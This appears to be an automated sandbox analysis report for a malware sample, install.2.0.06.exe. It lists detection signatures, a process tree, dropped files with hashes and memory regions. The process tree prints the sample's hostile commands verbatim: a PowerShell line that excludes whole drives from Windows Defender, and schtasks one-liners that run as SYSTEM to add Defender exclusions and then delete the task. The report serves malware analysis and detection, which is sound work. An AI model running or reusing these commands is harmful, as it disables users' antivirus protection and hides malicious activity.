Analysis

  • max time kernel
    146s
  • max time network
    155s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    24/10/2026, 03:35

General

  • Target
    install.2.0.06.exe
  • Size 30.5MB
  • Sample261024-d5sa5afv7z
  • SHA256 afd7ca65846bcedd3280851e7f066c2c00865db2097380bda77c3c6ef6821188
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\install.2.0.06.exe
    "C:\Users\Admin\AppData\Local\Temp\install.2.0.06.exe"
    1⤵
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    PID:5088
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k GPSvcGroup
    1⤵
      PID:5320
    • C:\Users\Public\09gc85\mQj5i1.exe
      "C:\Users\Public\09gc85\mQj5i1.exe"
      1⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Adds Run key to start application
      • Drops file in System32 directory
      • Reads the TCP/IP host and domain name from the registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:3400
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious use of AdjustPrivilegeToken
        PID:5984
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\09gc85\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
        2⤵
        • Indicator Removal: Clear Persistence
        • Suspicious use of WriteProcessMemory
        PID:3160
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\09gc85\" /t REG_DWORD /d 0 /f"
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:3128
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Run /TN "Task1"
          3⤵
            PID:5228
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Delete /TN "Task1" /F
            3⤵
              PID:3104
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
            2⤵
            • Indicator Removal: Clear Persistence
            • Suspicious use of WriteProcessMemory
            PID:3172
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
              3⤵
              • Scheduled Task/Job: Scheduled Task
              PID:5832
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Run /TN "Task1"
              3⤵
                PID:5752
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Delete /TN "Task1" /F
                3⤵
                  PID:5700
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                2⤵
                • Indicator Removal: Clear Persistence
                • Suspicious use of WriteProcessMemory
                PID:3632
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                  3⤵
                  • Scheduled Task/Job: Scheduled Task
                  PID:1992
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Run /TN "Task1"
                  3⤵
                    PID:1300
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Delete /TN "Task1" /F
                    3⤵
                      PID:4228
                  • C:\Windows\System32\cmd.exe
                    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                    2⤵
                    • Indicator Removal: Clear Persistence
                    • Suspicious use of WriteProcessMemory
                    PID:5100
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                      3⤵
                      • Scheduled Task/Job: Scheduled Task
                      PID:1240
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Run /TN "Task1"
                      3⤵
                        PID:5212
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Delete /TN "Task1" /F
                        3⤵
                          PID:5884
                      • C:\Windows\System32\cmd.exe
                        "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                        2⤵
                        • Indicator Removal: Clear Persistence
                        PID:5464
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                          3⤵
                          • Scheduled Task/Job: Scheduled Task
                          PID:252
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Run /TN "Task1"
                          3⤵
                            PID:5560
                          • C:\Windows\system32\schtasks.exe
                            SCHTASKS /Delete /TN "Task1" /F
                            3⤵
                              PID:4648
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\09gc85" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          PID:2652
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\09gc85" /t REG_DWORD /d 0 /f
                            2⤵
                              PID:3324
                          • C:\Windows\system32\cmd.exe
                            cmd.exe
                            1⤵
                              PID:4796
                            • C:\Users\Public\09gc85\mQj5i1.exe
                              "C:\Users\Public\09gc85\mQj5i1.exe"
                              1⤵
                              • Executes dropped EXE
                              • Loads dropped DLL
                              PID:2792
                            • C:\Windows\system32\cmd.exe
                              "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                              1⤵
                              • Executes a command shell one-liner
                              PID:4876
                              • C:\Windows\System32\reg.exe
                                reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                                2⤵
                                  PID:5572
                              • C:\Windows\system32\cmd.exe
                                "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                                1⤵
                                • Executes a command shell one-liner
                                PID:1124
                                • C:\Windows\System32\reg.exe
                                  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                                  2⤵
                                    PID:5660
                                • C:\Windows\system32\cmd.exe
                                  "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                                  1⤵
                                  • Executes a command shell one-liner
                                  PID:4508
                                  • C:\Windows\System32\reg.exe
                                    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                                    2⤵
                                      PID:2420

                                  Network

                                        MITRE ATT&CK Enterprise v16

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                                        Downloads

                                        0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                                        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                                        • Size 1KB
                                        • SHA256 164ef2f06813f577119a7e8c22a59c59f72b023ab67f531a2c517e6f12236b47
                                        • MD5 SHA1 SHA512 TLSH

                                        B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                                        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                                        • Size 1KB
                                        • SHA256 e8ff3ea7013767d4d43b2e29aa6318dfdaa4ed7bef397acd82cea62836066316
                                        • MD5 SHA1 SHA512 TLSH

                                        0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                                        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                                        • Size 512B
                                        • SHA256 fe77da7f8b550662c13f13b55bd5c8e5bbef8e2eb63e0fb5bd5ae8209d432456
                                        • MD5 SHA1 SHA512 TLSH

                                        B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                                        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                                        • Size 506B
                                        • SHA256 58e7d111cc37accf530404e29d15d1cb99687a8631d34873f3471172f6ea4945
                                        • MD5 SHA1 SHA512 TLSH

                                        __PSScriptPolicyTest_pko5flye.kyo.psm1

                                        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pko5flye.kyo.psm1
                                        • Size 60B
                                        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                        • MD5 SHA1 SHA512 TLSH

                                        UxEnhance64.dll

                                        • Path C:\Users\Public\09gc85\UxEnhance64.dll
                                        • Size 3.1MB
                                        • SHA256 b989b5652a27318044e825108d93ba68ecb19584fa647ce6d86f1d49ccdd6443
                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                        adoresd.dat

                                        • Path C:\Users\Public\09gc85\adoresd.dat
                                        • Size 4.8MB
                                        • SHA256 7d988cb4d32c6f47747b6382a3f061f57323567b2b81494a37ec701267d33a5f
                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                        mQj5i1.exe

                                        • Path C:\Users\Public\09gc85\mQj5i1.exe
                                        • Size 135KB
                                        • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                        msadox.tb

                                        • Path C:\Users\Public\09gc85\msadox.tb
                                        • Size 8KB
                                        • SHA256 eeccbaa9d8ff3f2839eb326cd0ad17661b334b58fb715a674c2ed3e3f1071027
                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                        memory/2792-585-0x0000018FC65C0000-0x0000018FC6E97000-memory.dmp

                                        memory/2792-581-0x00007FFD51070000-0x00007FFD5158E000-memory.dmp

                                        memory/2792-591-0x0000018FC65C0000-0x0000018FC6E97000-memory.dmp

                                        memory/2792-592-0x0000018FC65C0000-0x0000018FC6E97000-memory.dmp

                                        memory/2792-595-0x00007FFD72290000-0x00007FFD72292000-memory.dmp

                                        memory/2792-594-0x0000018FC65C0000-0x0000018FC6E97000-memory.dmp

                                        memory/2792-593-0x0000018FC65C0000-0x0000018FC6E97000-memory.dmp

                                        memory/2792-587-0x0000018FC65C0000-0x0000018FC6E97000-memory.dmp

                                        memory/2792-586-0x00007FFD722A0000-0x00007FFD722A2000-memory.dmp

                                        memory/3400-554-0x00000298BFE30000-0x00000298C0707000-memory.dmp

                                        memory/3400-543-0x00000298BFE30000-0x00000298C0707000-memory.dmp

                                        memory/3400-562-0x00000298BF3E0000-0x00000298BF42E000-memory.dmp

                                        memory/3400-565-0x00000298C0AE0000-0x00000298C0B6A000-memory.dmp

                                        memory/3400-564-0x00000298C0AE0000-0x00000298C0B6A000-memory.dmp

                                        memory/3400-566-0x00000298C0AE0000-0x00000298C0B6A000-memory.dmp

                                        memory/3400-563-0x00000298C0AE0000-0x00000298C0B6A000-memory.dmp

                                        memory/3400-560-0x00000298BFE30000-0x00000298C0707000-memory.dmp

                                        memory/3400-568-0x00000298BFE30000-0x00000298C0707000-memory.dmp

                                        memory/3400-571-0x00000298BFE30000-0x00000298C0707000-memory.dmp

                                        memory/3400-534-0x00007FFD72290000-0x00007FFD72292000-memory.dmp

                                        memory/3400-540-0x00000298BFE30000-0x00000298C0707000-memory.dmp

                                        memory/3400-547-0x00000298BFE30000-0x00000298C0707000-memory.dmp

                                        memory/3400-535-0x00007FFD51070000-0x00007FFD5158E000-memory.dmp

                                        memory/3400-548-0x00000298BFE30000-0x00000298C0707000-memory.dmp

                                        memory/3400-542-0x00007FFD722A0000-0x00007FFD722A2000-memory.dmp

                                        memory/3400-550-0x00000298BFE30000-0x00000298C0707000-memory.dmp

                                        memory/3400-549-0x00000298BFE30000-0x00000298C0707000-memory.dmp

                                        memory/5088-0-0x0000000002620000-0x000000000262E000-memory.dmp

                                        memory/5088-2-0x0000000002630000-0x000000000263C000-memory.dmp

                                        memory/5088-504-0x00007FFD69E50000-0x00007FFD69E62000-memory.dmp

                                        memory/5088-526-0x0000000002620000-0x000000000262E000-memory.dmp

                                        memory/5088-527-0x00007FFD69E50000-0x00007FFD69E62000-memory.dmp

                                        memory/5088-1-0x0000000002620000-0x000000000262E000-memory.dmp

                                        memory/5984-598-0x00000145B16A0000-0x00000145B16C2000-memory.dmp

                                        memory/5984-604-0x00000145B1910000-0x00000145B192E000-memory.dmp

                                        memory/5984-605-0x00000145B1930000-0x00000145B19E2000-memory.dmp

                                        memory/5984-609-0x00000145B1AF0000-0x00000145B1AFA000-memory.dmp